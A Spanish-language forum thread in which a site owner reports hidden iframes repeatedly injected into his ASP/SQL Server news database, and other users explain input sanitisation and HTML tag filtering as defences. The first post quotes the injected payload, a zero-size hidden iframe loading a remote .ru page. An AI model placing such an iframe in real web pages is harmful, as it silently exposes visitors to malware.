ayuda con sql insertaron codigo malicioso en mi bd

[xiberclark]

Hola amigos de este gran club, tengo un problema y espero que puedan ayudarme, el problema empezo el dia sabado, tengo una web que tiene sistema de noticias en asp con bd en sql server , cuando me loguee para subir una noticia vi que en los registros mostraba una especie de frame en el titulo y en el contenido de las noticias , entre en una de los noticias para ver el detalle y vi este codigo <iframe src="nutcountry.ru:8080/index.php?pid=13" width="0" height="0" style="display:none"></iframe><iframe src="nutcountry.ru:8080/index.php?pid=13" width="0" height="0" style="display:none"></iframe>

y esto estaba en los campos de cada noticia , asi que entre a la bd y entre a la tabla de las noticias e hice un replace para limpiar los campos, pero al dia siguiente aparecio de nuevo, el detalle de todo es que ese codigo esta insertado en campos que tienen la propieda varchar , mas no esta en los campos integer, ahorita justo he tenido que limpiar de nuevo, porfavor si pueden ayudarme para evitar de nuevo ese ataque, ya avise al servicio tecnico del hosting y dicen que veran el problema pero demoran mucho


gracias

[Enan0]

yo te diria que como primer paso. hagas un update de los Services Packs de la base de Datos, y el So.
Cambies los passwords..
y asi. vayas verificando todos los puntos de seguridad

[roman]

No creo que sea tanto un problema de seguridad de la base de datos, aunque nunca está de más que revises.

Más bien, dado que comentas que se trata de un sistema de noticias, ese tipo de inserción de códigos suele presentarse cuando no se programa con cuidado la parte que recibe el texto de la noticia. Un usuario con posibilidad de subir una noticia puede tranquilamente escribir, como parte de la "noticia" el código que describes. Si tu código no se encarga de limpiar de etiquetas HTML el texto subido, entonces éste se guardará en la base de datos. Cuando tu sistema despliegue esa noticia, el código insertado se mandará al navegador como parte del código HTML, ocasionando el efecto que has visto.

Por eso es que ese código sólo lo ves en los campos varchar, porque es en esos campós donde estás permitiendo que las personas escriban cualquier cosa sin verificar. Observa que esta inyección de código puede estar en el texto de la noticia, en el título, en el nombre del autor, etc., es decir, en cualquier campo de texto que no revises adecuadamente.

// Saludos

[[AzidRain]]

Es precisamente como dice Román...por cierto, cortesía de nuestros amiguitos los rusos el mentado frame.

También puedes implementar un filtrado para permitir solo algunos tags html como negrillas, cursivas o algo similar y bloquear o eliminar todos los demás tags.

[xiberclark]

Hola amigos muchas gracias por comentariosn sobre mi problema , bueno claro el codigo se inserta en los campos que dice roman, aunque deseo saber como puedo poner filtros y evitar que inserten codigo html no se si podrian darme un ejemplo?
gracias

[roman]

El problema es que no conozco ASP. Yo trabajo con PHP que tiene funciones especiales para eliminar etiquetas HTML no deseadas, tales como strip_tags. Es posible que ASP cuente con algo similar.

// Saludos

[[AzidRain]]

Seguramente este artículo te va a servir. O bien este otro, que hace uso de expresiones regulares.